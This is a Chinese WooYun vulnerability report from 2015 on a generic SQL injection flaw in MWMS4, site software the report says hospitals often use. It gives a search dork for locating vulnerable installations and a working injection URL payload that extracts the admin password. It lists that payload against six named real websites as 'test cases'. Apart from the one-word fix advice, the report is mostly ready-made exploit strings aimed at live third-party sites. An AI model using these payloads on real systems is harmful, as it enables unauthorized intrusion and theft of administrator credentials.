漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0100878
漏洞标题：MWMS4通用SQL注入漏洞
相关厂商：MWMS4
漏洞作者： 云天河
提交时间：2015-03-12 12:47
修复时间：2015-04-30 18:48
公开时间：2015-04-30 18:48
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：10
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-03-12： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-04-30： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
SQL注入
详细说明：
intitle:MWMS4
医院用的比较多，存在通用的SQL注入漏洞。
漏洞证明：
http://health.huanqiu.com/pifubing/manage/count.aspx?date=2015-3-4+14:09:14&date1=2015-3-5+14:09:14&table=word&user=admin'and%0a(select%0atop%0a1%0apword%0afrom%0aadmin)=0--
一些测试用例：
http://www.tlbaby.com/manage/count.aspx?date=2015-3-4+14:09:14&date1=2015-3-5+14:09:14&table=word&user=admin'and%0a(select%0atop%0a1%0apword%0afrom%0aadmin)=0--
http://health.jjxw.cn/manage/count.aspx?date=2015-3-4+14:09:14&date1=2015-3-5+14:09:14&table=word&user=admin'and%0a(select%0atop%0a1%0apword%0afrom%0aadmin)=0--
http://ask.babytl.com/manage/count.aspx?date=2015-3-4+14:09:14&date1=2015-3-5+14:09:14&table=word&user=admin'and%0a(select%0atop%0a1%0apword%0afrom%0aadmin)=0--
http://www.tlbaobao.com/manage/count.aspx?date=2015-3-4+14:09:14&date1=2015-3-5+14:09:14&table=word&user=admin'and%0a(select%0atop%0a1%0apword%0afrom%0aadmin)=0--
http://health.zjol.com.cn/shenbing/manage/count.aspx?date=2015-3-4+14:09:14&date1=2015-3-5+14:09:14&table=word&user=admin'and%0a(select%0atop%0a1%0apword%0afrom%0aadmin)=0--
修复方案：
过滤
版权声明：转载请注明来源 云天河@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝